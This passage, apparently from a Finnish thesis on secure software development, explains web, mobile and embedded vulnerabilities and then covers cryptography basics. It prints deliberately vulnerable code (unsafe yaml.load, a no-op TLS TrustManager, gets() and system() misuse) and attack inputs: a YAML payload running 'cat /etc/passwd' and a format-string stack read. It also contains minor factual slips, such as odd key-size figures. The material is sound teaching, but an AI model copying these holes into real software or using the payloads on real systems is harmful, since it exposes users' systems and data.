Edellisessä luvussa mainittiin yleisimmät tiedonsiirtoon käytettävät dataformaatit JSON ja XML. JSON- tai XML-tietorakenteen muodostamisprosessista käytetään englannin kielessä nimitystä ”serialization”. Kun selainpuolelta saatu data vastaanotetaan palvelinpuolella, se täytyy kuitenkin muuttaa takaisin ns. objektimuotoon, jotta dataa voidaan käsitellä ohjelmointikielellä. Mikäli tämä

”datan lataaminen” tehdään noudattamatta erityistä varovaisuutta, antaa tämä hyökkääjälle mahdollisuuden suorittaa koodia kohteena olevassa palvelimessa. (Thoma 2021.) Seuraava Python-koodi (Kuvio 10) on haavoittuvainen (Acunetix 2017).

```
# Import the PyYAML dependency
import yaml

# Open the YAML file
with open('malicious.yml') as yaml_file:

# Unsafely deserialize the contents of the YAML file
contents = yaml.load(yaml_file)
```

Kuvio 10. Insecure Deserialization, haavoittuvainen tiedon käsittely

Yllä olevassa koodissa YAML-formaattia noudattava tiedosto avataan, ja tiedoston sisältämät tiedot ladataan muuttujaan ”contents”. Tiedetään kuitenkin, ettei käytettävä PyYAML-kirjasto sisällä suojausta tätä haavoittuvuutta vastaan, joten hyökkääjä voi esimerkiksi syöttämällä seuraavan YAML-tiedoston (Kuvio 11) päästä käsiksi Linux-järjestelmän tiivistemuodossa oleviin salasanoihin (Thoma 2021).

```
!!python/object/apply:os.system

args: ['cat /etc/passwd']
```

Kuvio 11. Insecure Deserialization hyökkäyskoodi

Hyökkääjän on siis mahdollista antaa tietojen käsittelijälle erilaisia argumentteja, kuten järjestelmän komentoriviltä suoritettavat komennot. Tältä haavoittuvuudelta voidaan parhaiten suojautua konfiguroimalla verkkosovelluksen palvelinpuoli minimaalisilla käyttöoikeuksilla. Useimmiten sovellus ei tarvitse toimiakseen esimerkiksi palvelimen käyttöjärjestelmän komentorivin käyttöoikeutta, joten se voidaan estää. (Thoma 2021.)

3.8 Palvelinohjelmiston haavoittuvuudet

Verkkosovellus tarvitsee yleensä toimiakseen palvelinpuolella käyttöjärjestelmän lisäksi myös palvelinohjelmiston, jollaisia ovat esimerkiksi Apache ja IIS. Palvelinohjelmisto käsittelee mm. käyttäjältä tulevat HTTP-pyynnöt suorittamalla käyttäjän pyytämän tiedoston koodin ja lähettämällä käyttäjälle koodin palauttaman vastauksen. Tietyissä tapauksissa palvelinpuolen ohjelmisto kuten myös käyttöjärjestelmä voi sisältää haavoittuvuuksia, jotka mahdollistavat hyökkäyksen sovellusta vastaan. Esimerkiksi Apache versiossa 2.4.7 havaittiin vuonna 2021 haavoittuvuus, joka sai tunnisteen CVE-2021-41773. Kyseinen haavoittuvuus mahdollisti tiedostojen pyytämisen Apachen asetuksissa sallittujen kansioiden ulkopuolelta. (NIST 2021.) Nämä alustariippuvaiset haavoittuvuudet eivät usein ole sovelluksen kehittäjän hallittavissa, vaan ennemminkin ylläpitäjän, sillä niiden torjunta on mahdollista vain huolehtimalla palvelimen kaikkien komponenttien päivityksestä. Kehittäjän tulee kuitenkin olla tietoinen siitä, ettei hänen lähdekoodinsa välttämättä ole koko ratkaisun heikoin lenkki.

4 Mobiililaitteiden- ja sovellusten haavoittuvuuksista

4.1 Mobiililaitteen määritelmä

Mobiililaitteella tarkoitetaan yleensä tietokonetta, joka on riittävän pieni kädessä pideltäväksi. Teknisestä näkökulmasta olennaisimmat erot ovat kuitenkin komponenteissa, joita pöytätietokoneissa nähdään harvemmin. Mobiililaitteissa on tyypillisesti langattomaan tiedonsiirtoon soveltuvia ominaisuuksia kuten Wi-Fi, Bluetooth, GPS ja NFC. Mobiililaitteiden yleisimmät käyttöjärjestelmät ovat Android ja iOS. (Viswanathan 2021.) Tässä luvussa käydään läpi haavoittuvuuksia ja hyökkäysmenetelmiä, jotka hyödyntävät nimenomaan mobiililaitteiden käyttöjärjestelmien ominaisuuksia.

4.2 Improper Platform Usage

Alustan väärinkäyttö (engl. Improper Platform Usage) tarkoittaa tässä kontekstissa mobiililaitteen käyttöjärjestelmän ominaisuuksien epäonnistunutta tai puutteellista käyttöä. Alustan väärinkäyttöä voi olla esimerkiksi sellaisten käyttöoikeuksien pyytäminen sovellukselle, jotka eivät ole sen toiminnan kannalta välttämättömiä ja voivat siten avata oven hyökkäyksille. Toinen erittäin yleinen ongelma on Android-järjestelmän ”aikomuksiin” (engl. intents) liittyvä ominaisuus, joka mahdollistaa tiedonsiirron eri sovellusten välillä. Näiden ”aikomuksien” parametrien avulla on mahdollista suorittaa injektiohyökkäyksiä sovelluksia vastaan. (Efimov & Onitza-Klugman 2021.) Seuraava Java-koodi (Kuvio 12) hakee verkkosivuston koodin Androidin WebView-luokkaan, ja sallii JavaScriptin suorituksen (Efimov & Onitza-Klugman 2021).

```
WebView webView = (WebView) findViewById(R.id.webview);

WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);

Intent intent = getIntent();
String url = intent.getStringExtra("url");
webView.loadUrl(url);
```

Kuvio 12. Haavoittuvainen Java-koodi

Yllä oleva koodi odottaa saavansa toiselta sovellukselta ”aikomuksen” parametrina URL-osoitteen, joka on luotettava, sillä JavaScriptin suoritus URL-osoitteessa sijaitsevalle verkkosivustolle sallitaan. Mikäli hyökkääjä onnistuu esimerkiksi oman haitallisen sovelluksensa avulla injektoimaan oman URL-osoitteen ”aikomuksen” parametriksi, voi hän suorittaa käytännössä mielivaltaisen JavaScript-koodin kohteena olevassa laitteessa, mikä taas mahdollistaa aiemmin käsitellyn XSS-haavoittuvuuden hyödyntämisen asiakaslaitetta vastaan. Hyökkäykseltä voidaan suojautua olemalla luottamatta ”aikomusten” parametreihin sekä estämällä JavaScriptin käyttö, jollei se ole mobiilisovelluksen toiminnan kannalta täysin välttämätöntä. (Efimov & Onitza-Klugman 2021.)

4.3 Insecure Data Storage

Turvaton datan tallennus (engl. Insecure Data Storage) tarkoittaa tilanteita, joissa arkaluontoista dataa kuten salasanoja tai pankkitunnuksia tallennetaan suojaamatta. Esimerkiksi Android tarjoaa tiedon tallennukseen ns. PreferenceManager-toiminnon, joka tallentaa tiedot sovelluksen kotikansioon XML-muodossa, jolloin muiden sovellusten on mahdollista lukea tietoja mikäli jollakin laitteella olevalla sovelluksella on root-tason eli ylläpitäjän oikeudet. Tietojen lukeminen on mahdollista myös ilman root-tason oikeuksia, jos hyökkääjällä on fyysisesti laite hallussaan ja mahdollisuus yhdistää laite tietokoneeseen. (Medium 2019) Seuraava koodi (Kuvio 13) tallentaa käyttäjätunnuksen ja salasanan salaamattomassa muodossa Androidin SharedPreferences-tallennustilaan (Medium 2019).

```
public void saveCredentials(View view) {
    Editor spedit = PreferenceManager.getDefaultSharedPreferences(this).edit();
    EditText pwd = (EditText) findViewById(R.id.ids1Pwd);
    spedit.putString("user", ((EditText) findViewById(R.id.ids1Usr)).getText().toString());
    spedit.putString("password", pwd.getText().toString());
    spedit.commit();
    Toast.makeText(this, "3rd party credentials saved successfully!", 0).show();
}
```

Kuvio 13. Tietojen suojaamaton tallennus

Yllä olevan koodin ongelmana on siis salauksen puute. Android tarjoaa tiedon salaukseen sekä salausavainten turvalliseen säilyttämiseen rajapinnan nimeltä ”KeyStore”. Kyseessä on Android-järjestelmään sisäänrakennettu säilytystila salausavaimille. KeyStore tarjoaa sovellukselle mahdollisuuden salata dataa ja purkaa salaus ilman, että muilla sovelluksilla on pääsy käytettyihin avaimiin. (Medium n.d.) Turvallisia salausalgoritmeja käsitellään tarkemmin viimeisessä teorialuvussa.

4.4 Insecure Communication

Mobiilisovellukset vaativat tyypillisesti toimiakseen mahdollisuuden kommunikoida palvelimen kanssa. Yhteyden suojaamiseen käytetään tyypillisesti TLS-protokollaa (Transport Layer Security) mutta toisin kuin verkkosovellusten tapauksissa, joissa vastuu TLS-varmenteen validoinnista on selaimella, mobiilisovellusten tapauksessa vastuu varmenteiden validoinnista on kehittäjällä itsellään. Yleisin virhe mobiilisovellusten TLS-protokollan toteutuksessa on, ettei varmenteen digitaalista allekirjoitusta tarkasteta ollenkaan. Esimerkiksi Android-järjestelmässä tämä on mahdollista, kun koodissa ylikirjoitetaan (engl. override) Androidin oma ”TrustManager” moduuli, jonka tehtävä on todentaa varmenteen luotettavuus. (Hopstock 2021.) Seuraava koodi (Kuvio 14) tekee juuri tämän (Hopstock 2021).

```
val insecureTrustManager = object : X509TrustManager {
    override fun checkClientTrusted(
        chain: Array?,
        authType: String?
    ) {
        // do nothing
    }

    override fun checkServerTrusted(
        chain: Array?,
        authType: String?
    ) {
        // do nothing
    }

    override fun getAcceptedIssuers() = null
}
```

Kuvio 14. Puutteellinen TLS-varmenteen todennus

Yllä oleva koodi on yleinen verkossa ehdotettu ratkaisu TLS-virheen välttämiseksi, mutta koodi ei validoi varmennetta, joten tällaisen ratkaisun käyttäminen on sama kuin salausta ei olisi ollenkaan. Oikea ratkaisu on käyttää Android-järjestelmän sisäänrakennettua TrustManager-moduulia, joka validoi varmenteen ja heittää virheen, jos varmenteessa on ongelmia. Sovelluksen tulee reagoida virheeseen kieltäytymällä kommunikoimasta palvelimen kanssa, jonka TLS-varmenteessa on ongelmia. (Hopstock 2021.)

4.5 Reverse Engineering

Tietyissä tapauksissa hyökkääjän on mahdollista selvittää sovelluksen lähdekoodi ja muokata sitä (engl. reverse engineering). Erityisen haavoittuvaisia tälle ovat sovellukset, jotka on toteutettu tulkattavaa ohjelmointikieltä käyttäen (esim. Java, Kotlin) koska tulkattavien kielten tapauksessa koodi käännetään binäärimuotoon vasta ohjelman suorituksen aikana. Hyökkääjän on siis verrattain helppo päästä lukemaan sovelluksen lähdekoodia, josta aiheutuu esimerkiksi seuraavia riskejä:

- Koodiin tallennetut tunnukset, esimerkiksi tietokantapalvelimen käyttäjätunnus ja salasana paljastuvat.
- Hyökkääjä saa tietoa sovelluksen toteutuksesta, mikä helpottaa hyökkäystä sovelluksen käyttämiä palvelimia vastaan.
- Hyökkääjä voi muokata sovelluksen toimimaan laitteellaan haluamallaan tavalla
- Immateriaalioikeudet: sovelluksen lähdekoodi on yleensä sen kehittäneen tahon bisnessalaisuus, jonka ei haluta paljastuvan.

Edellä mainituista syistä lähdekoodin kääntämistä takaperin (engl. decompile) tulisi pyrkiä ehkäisemään. Ensimmäinen sääntö on, ettei asiakaspuolen laitteeseen voi luottaa, joten lähdekoodiin ei tule tallentaa ”salaisuuksia” kuten tietokantapalvelimen tunnuksia. (Dwarkani 2020.) Turvallisempi ratkaisu on hoitaa tietokannan kanssa kommunikointi palvelinpuolella, ja lähettää vastaus asiakaspään laitteelle, kun asiakaslaite on autentikoitu. Lähtökohtana sovelluksen arkkitehtuuria suunnitellessa pitäisi siis olla, ettei lähdekoodin selvittämistä voi täysin estää. Lähdekoodin selvittämistä voidaan kuitenkin huomattavasti hankaloittaa ja hidastaa lisäämällä koodia, joka salaa sovelluksen salaisuudet käännösvaiheessa ja purkaa salauksen koodin suoritusvaiheessa. Tähän tarkoitukseen on saatavilla esimerkiksi Android Studio-kehitysympäristöön laajennus nimeltä ”Enigma”. (Ney 2019.) Tämä ei kuitenkaan luotettavasti tee lähdekoodin selvittämistä mahdottomaksi, ainoastaan hankaloittaa sitä, sillä salauksen purkamiseen tarvittavat tiedot löytyvät käännösprosessissa syntyneestä APK-tiedostosta. Varmin ratkaisu on siis suunnitella sovelluksen arkkitehtuuri ja toimintaperiaate kokonaisuudessaan sellaiseksi, ettei lähdekoodin paljastumisesta aiheudu merkittävää haittaa.

5 Sulautettujen järjestelmien haavoittuvuuksista

5.1 Sulautetun järjestelmän määritelmä

Sulautettu järjestelmä (engl. embedded system) on tiettyyn tarkoitukseen valmistettu mekaaninen tai sähköinen laite, jota ohjaa tietokone. Sulautettuja järjestelmiä ovat nykypäivänä esimerkiksi kodinkoneet, autot ja erilaiset työkoneet. Olennaisin ero sulautetun järjestelmän ja esimerkiksi mobiililaitteen välillä on, että sulautetun järjestelmän fyysiset komponentit (engl. hardware) on suunniteltu yksilölliseen käyttötarkoitukseen, johon esimerkiksi toisenlainen sulautettu järjestelmä ei sovi. (Ashely 2021.) Sulautettujen järjestelmien ohjelmointi on usein hyvin laiteläheistä eli ns. matalan tason ohjelmointia. Tietoturvan näkökulmasta tämä johtaa laiteläheisiin haavoittuvuuksiin, joita harvemmin nähdään muunlaisissa ohjelmistoissa. Matalan tason ohjelmointikielet kuten C ja C++ sallivat esimerkiksi manuaalisen muistinhallinnan, mikä aiheuttaa tietynlaisia riskejä. Tässä pääluvussa keskitytään siis erityisesti laiteläheisissä ohjelmistoissa esiintyviin haavoittuvuuksiin.

5.2 Buffer Overflow

Puskurin ylivuotovirhe (engl. buffer overflow) aiheutuu kun ohjelma saa syötteen, joka on liian suuri syötteelle varatulle muistialueelle, jolloin ylimenevä osa kirjoitetaan toiselle muistialueelle. Käännettäville ohjelmointikielille, kuten C ja C++, on tyypillistä, että esimerkiksi muuttujien arvojen maksimipituus määritellään lähdekoodissa. Tämä mahdollistaa virhetilanteen, jossa annettu arvo onkin odotettua arvoa suurempi kooltaan, eli vie enemmän muistitilaa. Puskurin ylivuotovirhe voidaan aiheuttaa myös kuluttamalla koko ohjelmalle varattu muisti loppuun, mutta tämän tyyppiset hyökkäykset ovat vaikeampia toteuttaa ja siksi harvinaisempia. Puskurin ylivuotovirhe voi aiheuttaa ohjelman kaatumisen tai joissakin tapauksissa hyökkääjän koodin suorittamisen. (Sharan 2021.) Ohjelman kaatamisen tavoitteena on usein joko palvelun toiminnan häiritseminen eli palvelunestohyökkäys, tai ohjelmakoodin suoritusjärjestyksen muuttaminen, joka aiheutuu, kun tietty komponentti kaatuu. Ohjelmointikielet käyttävät muistialueiden osoitteina ns. osoittimia (engl. pointers). Esimerkiksi kun luokasta luodaan objekti ja kyseinen objekti annetaan parametrina funktiolle, funktio saa parametrina osoittimen, joka osoittaa muistialueeseen, johon objekti on kirjoitettu. Jos ohjelmalle syötteeksi annettava arvo on riittävän suuri, voi tämä aiheuttaa osoittimen ylikirjoituksen annetulla arvolla, jolloin hyökkääjän on mahdollista saada ohjelma suorittamaan hyökkääjän koodi. (Sharan 2021.) Seuraava koodi (Kuvio 15) on haavoittuvainen hyökkäyksille, jotka hyödyntävät puskurin ylivuotoa (Kaczanowski 2021).

```
int main() {
    bufferOverflow();
 }

 bufferOverflow() {
    char textLine[10];
    printf("Enter your line of text: ");
    gets(textLine);
    printf("You entered: ", textLine);
    return 0;
 }
```

Kuvio 15. Puskurin ylivuotovirheelle haavoittuvainen koodi

Yllä oleva koodi alustaa merkkijonomuuttujan ”textLine” ja varaa muuttujalle muistitilaa kymmenen merkin verran. Tämän jälkeen käyttäjältä otetaan syötteenä merkkijono ja tallennetaan se muuttujaan. Jos annettu syöte on liian pitkä, aiheuttaa tämä puskurin ylivuotovirheen, mikä puolestaan aiheuttaa ohjelman kaatumisen. Puskurin ylivuotovirhettä voidaan torjua mm. seuraavilla menetelmillä (Kaczanowski 2021).

- Käyttämällä käännettävän ohjelmointikielen sijaan tulkattavaa ohjelmointikieltä, jolloin muistinhallinta hoidetaan automaattisesti.
- Tarkastamalla syötteen pituus ennen sen tallentamista muuttujaan, ohjelmointikielissä on myös valmiita funktioita tätä varten.

5.3 Command Injection

Yleisimmät injektiohyökkäykset sulautettuja järjestelmiä vastaan ovat laiteohjelmistoon (engl. firmware) kohdistuvat komentoinjektiot. Komentoinjektioissa hyökkääjä pyrkii suorittamaan komentoja laiteohjelmiston komentorivillä. Tämä on mahdollista tilanteissa, joissa ohjelma ottaa vastaan syötettä, jota on tarkoitus käyttää parametrina komentorivillä suoritettavassa komennossa. Jos esimerkiksi käyttäjältä saatava syöte on tarkoitus tallentaa tekstitiedostoon komentorivin kautta, ja syötteen validointi laiminlyödään, on hyökkääjän mahdollista antaa odotetun syötteen lisäksi myös omia komentojaan, jotka suoritetaan komentorivillä. (Guzman & Gupta, 2020.) Periaate on siis osittain sama kuin aiemmin käsitellyissä SQL injektioissa. Esimerkiksi seuraava koodi (Kuvio 16) on haavoittuvainen komentoinjektioille (Imperva n.d.).

```
int main(char* argc, char** argv) {

char cmd[CMD_MAX] = "/usr/bin/cat ";

strcat(cmd, argv[1]);

system(cmd);

}
```

Kuvio 16. Komentoinjektiolle haavoittuvainen koodi

Yllä oleva koodi odottaa saavansa tiedoston nimen parametrina, mutta koska syötteeseen luotetaan eikä validointia suoriteta, on hyökkääjän mahdollista antaa Linux-komentorivin komento osana syötettä, jolloin komento suoritetaan ohjelman oikeuksilla Linux-komentorivillä. Komentoinjektioita voidaan torjua mm. välttämällä käyttäjän antaman syötteen käyttämistä suoraan järjestelmäkomentojen parametrina. Turvallisempi ratkaisu on käyttää ohjelmointikielen tarjoamia funktioita mm. tiedostojen lukemiseen ja tiedostoihin kirjoittamiseen. (Dizdar 2021.)

5.4 Format String Attack

Ohjelmointikielissä muuttujan arvon tulostaminen osana muuta tekstiä vaatii usein, että muuttujan nimen eteen on lisättävä lyhyt merkkijono (engl. format string) joka kertoo kyseessä olevan muuttuja, jonka arvo halutaan liittää tulosteeseen. Tämä ei kuitenkaan ole C-kielessä vaadittua, mikä mahdollistaa injektiohyökkäyksen tulostusfunktiota vastaan tilanteissa, joissa käyttäjän antamalle syötteelle ei suoriteta validointia. Tällöin hyökkääjä voi itse antaa ohjelmalle vaaditun merkkijonon, jolloin aiheutuu tilanne, jossa vaadittu merkkijono toistuu tulostusfunktiolle annetussa syötteessä useita kertoja, jolloin tulostusfunktio tulostaa tietokoneen muistissa olevasta ”pinosta” (engl. stack) merkkijonojen määrää vastaavan määrän arvoja, jotka voivat olla esimerkiksi muiden muuttujien arvoja tai muiden funktioiden palauttamia arvoja. Toisin sanoen haavoittuvuus antaa

hyökkääjälle mahdollisuuden lukea ohjelmaa suorittavan tietokoneen muistia. (Dahan 2021.) Esimerkiksi seuraavaa syötettä (Kuvio 17) voidaan käyttää haavoittuvuuden hyödyntämiseen (Dahan 2021).

```
“%x %x %x %x %x\n”
```

Kuvio 17. Format String-hyökkäykseen soveltuva syöte

Yllä olevan syötteen antaminen C-kielen printf()-tulostusfunktiolle ilman muita parametreja aiheuttaa viiden ensimmäisen arvon tulostamisen nykyisestä pinosta, eli hyökkääjä pääsee käsiksi tietokoneen muistissa oleviin arvoihin. Format String-hyökkäystä voidaan torjua antamalla tulostettavan datan tyyppi tulostusfunktiolle syötteestä erillisenä parametrina, jolloin syötteen sisältämiä merkkijonoja ei tulkita osaksi koodia. (Dahan 2021.)

6 Kryptografia

6.1 Kryptografian määritelmä

Kryptografia tai kryptologia (engl. cryptography) on matemaattinen tieteenala, joka pyrkii suojaamaan tiedon luottamuksellisuutta ja eheyttä muuntamalla alkuperäinen tieto (engl. plaintext) muotoon, jossa luvattomat osapuolet eivät voi muokata tai lukea tietoa (engl. ciphertext). Tällaista tiedonkäsittelyä kutsutaan tiedon salaukseksi. Salauksen merkitys tietoturvan kannalta on suuri. Esimerkiksi langatonta signaalia hyödyntävien laitteiden kuten matkapuhelinten ja lähiverkkojen viestiliikennettä ei ole käytännössä mahdollista estää päätymästä hyökkääjän haltuun, sillä langatonta signaalia voi vastaanottaa kuka tahansa, mutta tieto voidaan tehdä lukukelvottomaksi luvattomalle taholle tehokkaan salauksen avulla. Toinen yleinen käyttötarkoitus modernille salaukselle on digitaalinen allekirjoittaminen, eli tiedon eheyden suojaaminen salauksen avulla. Kehittäjän kannalta erilaisten salausten heikkouksien ja vahvuuksien tunteminen on tärkeää, jotta näitä tietoja voidaan soveltaa ohjelmistojen kehitysprosessissa.

Salaukseen on kehitetty erilaisia algoritmeja. Yhtenä maailman ensimmäisistä salausmenetelmistä pidetään Julius Caesarin salakirjoitusta, jossa salattavan tiedon jokaista kirjainta yksinkertaisesti siirretään aakkosjärjestyksessä tietty määrä, ja salauksen purkaminen onnistuu tekemällä sama toisinpäin. Salauksena tämä on kuitenkin heikko, sillä avainvaihtoehtoja on vain saman verran kuin aakkosissa kirjaimia, joten kun algoritmi on selvillä, on salauksen murtaminen helppoa. Modernit, vahvat salaukset eivät perustu algoritmin salaisuuteen vaan matemaattisiin ongelmiin, joiden ratkaiseminen on vaikeaa ja aikaa vievää, vaikka algoritmin toiminta onkin hyökkääjän tiedossa. Tietoturvan näkökulmasta tällaisten vahvojen salauksien olemassaolo on äärimmäisen tärkeää, sillä hyökkääjää on usein mahdoton estää saamasta haltuunsa siirrettävää dataa, mutta data voidaan vahvoilla salauksilla tehdä lukukelvottomaksi hyökkääjälle. (Fruhlinger 2020.) Tässä luvussa käydään läpi yleisimmät salausmenetelmät sekä niiden käytännön sovellukset tietotekniikassa.

6.2 Symmetriset salaukset

Symmetrisellä salauksella tarkoitetaan salausta, jossa samaa avainta voidaan käyttää sekä tiedon salaamiseen että salauksen purkamiseen. Epäsymmetrisiin salauksiin verrattuna symmetriset salaukset ovat yleensä nopeampia laskea ja sama vahvuus voidaan saavuttaa lyhyemmillä avaimilla. TLS-protokolla käyttää symmetristä salausta siirrettävän tiedon salaamiseen, ja epäsymmetristä

salausta avaimenvaihtoon. Symmetriset salaukset jaetaan yleensä kahteen kategoriaan. (Smirnoff & Turner 2019.)

- Lohkosalaukset: salattava data jaetaan lohkoihin ennen salausta ja tieto salataan sekoittamalla lohkot. Data säilyy tietokoneen muistissa, kunnes salausoperaatio on valmis.
- Suoratoistosalaukset: data salataan bitti (tai tavu) kerrallaan reaaliajassa.

Yleisin käytössä oleva symmetrinen salausmenetelmä on AES-salaus (Advanced Encryption Standard), jota pidetään myös yhtenä vahvimmista. AES-salauksen murtaminen ns. brute force-menetelmällä eli kokeilemalla läpi kaikki mahdolliset avainvaihtoehdot on laskettu kestävän jopa 36 000 triljoonaa vuotta. AES-salaus on lohkosalausmenetelmä, joka perustuu 16 tavun kokoisten lohkojen muodostamiseen ja niiden sisällön sekoittamiseen, joka toistetaan joko 10, 12 tai 14 kertaa riippuen avaimen pituudesta. AES-salausta suositellaan käytettäväksi aina kun mahdollista tilanteissa, joissa tarvitaan symmetristä salausta, kuten TLS-protokollan sessioavaimena. (Rimkiene 2020).

6.3 Lohkosalausten käyttötilat

Lohkosalauksen toiminnan edellytyksenä on, että salattava tieto voidaan jakaa lohkoihin. Kuten edellisessä luvussa mainittiin, AES-salauksen lohko on kooltaan 16 tavua, mutta läheskään aina salattava tieto ei ole jaettavissa 16 tavun pituisiin lohkoihin, joten viimeinen lohko, joka jää pituudeltaan vajaaksi, tulee käsitellä erityisellä tavalla. Näitä menetelmiä on useita ja niitä kutsutaan lohkosalauksen käyttötiloiksi (engl. block cipher modes of operation). Yleisimpiä käyttötiloja AES-salaukselle ovat seuraavat (Almuhammadi & Al-Hejri, 2017).

- Cipher Block Chaining (CBC)
- Electronic Code Book (ECB)
- Cipher FeedBack (CFB)
- Output FeedBack (OFB)
- Counter (CTR)

Käyttötilan valinnalla on merkittävä vaikutus lohkosalauksen turvallisuudelle. Yllä mainituista esimerkeistä helpoin toteuttaa on ECB, käyttötila, jossa jokainen lohko salataan erikseen riippumatta muista lohkoista. Tämä on kuitenkin salauksen vahvuuden näkökulmasta erittäin huono ratkaisu, sillä kaksi identtistä lohkoa salattavaa tietoa tuottaa kaksi identtistä lohkoa salattua tietoa, mikä mahdollistaa esimerkiksi frekvenssianalyysin, jossa hyökkääjä voi päätellä osan viestin sisällöstä mittaamalla eri lohkojen esiintyvyyttä salatussa viestissä. Turvallisempi käyttötila on CBC, jossa edellinen salattu lohko lisätään osaksi seuraavaa lohkoa ennen salausta. Tällöin tilannetta, jossa kaksi identtistä salaamatonta lohkoa tuottavat kaksi identtistä salattua lohkoa, ei tapahdu. Koska ensimmäisellä lohkolla ei ole edellistä lohkoa, käytetään salauksessa alustusvektoria (engl. intialization vector) joka on satunnaisluku. (Almuhammadi & Al-Hejri, 2017.)

6.4 Epäsymmetriset salaukset

Epäsymmetrisellä salauksella tarkoitetaan salausta, jossa salausavaimia on kaksi: julkinen avain (engl. public key) ja yksityinen avain (engl. private key). Avaimet ovat matemaattisesti toistensa vastakappaleita, eli julkisella avaimella salatun tiedon voi purkaa ainoastaan sitä vastaavalla yksityisellä avaimella, ja sama toisinpäin. Epäsymmetrisiä salauksia kutsutaan myös julkisen avaimen salausmenetelmiksi. Julkisen avaimen salausmenetelmiä tarvitaan esimerkiksi tilanteissa, joissa salattu viestintä halutaan mahdollistaa ilman ennalta jaettua salaisuutta. Esimerkiksi TLS-protokolla hyödyntää epäsymmetristä salausta avaimen vaihdossa. Käyttäjän selain luo symmetrisen salausavaimen (ns. sessioavaimen) joka vuorostaan salataan julkisella avaimella, jolloin salauksen voi purkaa ainoastaan yksityisen avaimen haltija, eli tässä tapauksessa palvelin. Tätä kutsutaan Diffie-Hellman avaimenvaihtomenetelmäksi. Yleisimmät käytössä olevat epäsymmetriset salausalgoritmit ovat RSA ja elliptiset käyrät (engl. ECC, Elliptic Curve Cryptography). RSA perustuu erittäin suurten alkulukujen tulon tekijöihin jakamisen vaikeuteen. Alkuluvulla tarkoitetaan lukua, joka on jaollinen vain itsellään ja numerolla yksi. Elliptisten käyrien salausmenetelmät perustuvat ns. elliptisen käyrän diskreetin logaritmin ongelmaan, jonka mukaan alkupisteen ja loppupisteen tietäminen ei riitä selvittämään, montako kertaa alkupiste on kerrottu itsellään (engl. point multiplication). Molempia salausmenetelmiä pidetään oikein toteutettuna murtamattomina, mutta RSA:n tiedetään vaativan pidemmän avaimen käyttämistä saman turvallisuustason saavuttamiseksi kuin

elliptisten käyrien tapauksessa. Esimerkiksi 228-bittisellä avaimella toteutettu elliptisen käyrän salaus vastaa vahvuudeltaan noin 2380-bittistä RSA-avainta, mutta on silti nopeampi käyttää. Tästä syystä elliptisiin käyriin perustuvia salausmenetelmiä suositellaan käytettäväksi aina kun mahdollista tilanteissa, joissa tarvitaan epäsymmetristä salausta. Tällaisia ovat esimerkiksi ECDH (Elliptic Curve Diffie-Hellman) avaimenvaihtoon ja ECDSA (Elliptic Curve Digital Signature Algorithm) digitaaliseen allekirjoittamiseen. (Nick Sullivan 2013.)

6.5 Tiivistefunktiot

Tiivistefunktiolla tarkoitetaan algoritmia, joka ottaa syötteenä mitä tahansa pituutta olevan tiedon ja muuntaa sen tiettyä pituutta olevaksi tiivisteeksi. Kyseessä on eräänlainen salausmenetelmä, mutta olennaisin ero symmetrisiin ja epäsymmetrisiin salauksiin on, ettei salausavainta ole eikä salausta voi purkaa. Tiivistefunktio palauttaa kuitenkin aina saman tulosteen samalla syötteellä, joten funktiota voidaan käyttää tiedon eheyden suojaamiseen sekä tarkastaa, onko alkuperäinen tieto esimerkiksi sisäänkirjautumista yrittävän käyttäjän hallussa. Yleisesti suositeltu menetelmä salasanojen tallentamiseen tietokantaan on tallentaa salasanat tiivistemuodossa, ja käyttäjän yrittäessä sisäänkirjautumista, käyttäjän antamasta salasanasta lasketaan tiiviste samalla funktiolla, ja verrataan tätä tulostetta tietokannassa olevaan tiivisteeseen. Mikäli tiivisteet ovat identtiset, on oikea salasana käyttäjän tiedossa. Tästä syystä tiivistefunktioita kutsutaan usein myös tarkastussummafunktioiksi. Jos tiiviste kuitenkin vuotaa tietokannasta hyökkääjälle, ei hyökkääjä saa salasanaa selville muutoin kuin laskemalla itse tiivisteen jokaisesta mahdollisesta salasanakombinaatiosta, tai yrittämällä sanakirjahyökkäystä. Ohjelmoija voi myös hankaloittaa tiivisteen murtamista lisäämällä tiivisteen loppuun satunnaisen merkkijonon eli ”suolan”, jolloin hyökkääjä ei saa samaa tulostetta, vaikka oikea salasana löytyisi hänen sanakirjastaan. Toinen käyttötarkoitus tiivistefunktioille on tiedon eheyden tarkastus. Esimerkiksi ladattavan tiedoston julkaisun yhteydessä voidaan julkaista myös tiedoston ”tarkastussumma” eli tiivistefunktion tuloste, jonka avulla käyttäjä voi omalla laitteellaan tarkastaa tiedoston eheyden laskemalla itse tiivisteen saamastaan tiedostosta. Tiivistefunktiota pidetään turvallisena, jos ”törmäyksen” (engl. hash collision) tuottaminen funktiota vastaan on käytännössä mahdotonta. Törmäyksellä tarkoitetaan tilannetta, jossa kahdella tai useammalla erilaisella syötteellä on mahdollista saada aikaan sama tuloste. Turvallisia tiivistefunktioita, joita vastaan ei ole vielä pystytty tuottamaan törmäystä, ovat esimerkiksi seuraavat (Crane 2021.)

- SHA-2 perheen funktiot (SHA-224, SHA-256, SHA-384 ja SHA-512)
- SHA-3 perheen funktiot (SHA3-224, SHA3-256, SHA3-384 ja SHA3-512)

6.6 Sivukanavahyökkäykset

Vaikka modernin kryptografian aikana tunnetaan useita salausalgoritmeja, joiden murtaminen perinteisin menetelmin on käytännössä mahdotonta, pätee tämä ainoastaan sillä oletuksella, että myös itse toteutus on virheetön. Salausalgoritmin teoreettista vahvuutta arvioitaessa ei yleensä oteta huomioon yksittäisen toteutuksen heikkouksia, kuten tietojen vuotamista. Sivukanavahyökkäyksessä pyritään tarkkailemaan salausalgoritmia käyttävän laitteen tai ohjelmiston toimintaa ja tekemään tästä johtopäätöksiä. Tämä edellyttää yleensä fyysistä pääsyä laitteeseen, mikä tekee sivukanavahyökkäyksistä uhan pääasiassa sulautetuille järjestelmille ja mobiililaitteille. Tyypillisiä esimerkkejä sivukanavahyökkäyksistä ovat:

- Ajastushyökkäykset, joissa mitataan ohjelman suoritusaikaa
- Virrankäyttöanalyysit, joissa mitataan laitteen virran käyttöä
- Elektromagneettiset hyökkäykset, joissa tarkkaillaan laitteen vuotamaa sähkömagneettista säteilyä

